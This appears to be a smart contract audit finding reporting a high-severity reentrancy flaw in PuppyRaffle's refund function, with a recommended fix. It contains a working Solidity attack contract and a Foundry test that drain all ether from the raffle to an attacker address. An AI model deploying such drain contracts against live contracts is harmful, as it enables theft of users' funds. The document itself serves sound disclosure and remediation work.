Summary
In PuppyRaffle::refund the player is removed from the contract mapping after sending ether. This allows for reentrancy and draining all funds.
Vulnerability Details
PuppyRaffle::refund calls the msg.sender's address with entranceFee. If msg.sender is a contract and implements a receive or fallback function, it could execute logic when receiving this money. If it calls PuppyRaffle::refund, it would get sent entranceFee again, as msg.sender has not been removed from the players array. This would repeat until the contract is empty.
A contract to do this would look like this:
pragma solidity ^0.7.6;
import {PuppyRaffle} from "../../src/PuppyRaffle.sol";
contract ReentrancyAttack {
PuppyRaffle pr;
address hacker;
constructor(address _pr) {
pr = PuppyRaffle(_pr);
hacker = msg.sender;
}
function attack() external payable {
address[] memory players = new address[](1);
players[0] = address(this);
pr.enterRaffle{value: msg.value}(players);
pr.refund(pr.getActivePlayerIndex(address(this)));
}
receive() external payable {
if (address(pr).balance >= msg.value) {
pr.refund(pr.getActivePlayerIndex(address(this)));
}
(bool s,) = hacker.call{value: address(this).balance}("");
require(s, "tranfer failed");
}
}
Feel free to paste this into the the test suite in test/mock. Import this contract into PuppyRaffleTest.t.sol and also paste this test function:
function testRefundReentrancy() public {
address[] memory players = new address[](4);
players[0] = playerOne;
players[1] = playerTwo;
players[2] = playerThree;
players[3] = playerFour;
puppyRaffle.enterRaffle{value: entranceFee * 4}(players);
uint256 startingBalance = 1 ether;
address hacker = address(5);
vm.deal(hacker, startingBalance);
vm.startPrank(hacker);
ReentrancyAttack attack = new ReentrancyAttack(address(puppyRaffle));
attack.attack{value: entranceFee}();
vm.stopPrank();
assertEq(address(hacker).balance, startingBalance + entranceFee * players.length);
assertEq(address(puppyRaffle).balance, 0);
}
Then run forge test --mt testRefundReentrancy -vvvv to see the test succeed.
Impact
This finding is of high severity.
Any player can create a contract to be entered into the raffle which then can call refund to drain the contract completely.
Tools Used
Recommendations
Change contract state before sending ether.
function refund(uint256 playerIndex) public {
address playerAddress = players[playerIndex];
require(playerAddress == msg.sender, "PuppyRaffle: Only the player can refund");
require(playerAddress != address(0), "PuppyRaffle: Player already refunded, or is not active");
+ players[playerIndex] = address(0);
payable(msg.sender).sendValue(entranceFee);
- players[playerIndex] = address(0);
emit RaffleRefunded(playerAddress);
}
Or use a ReentrancyGuard.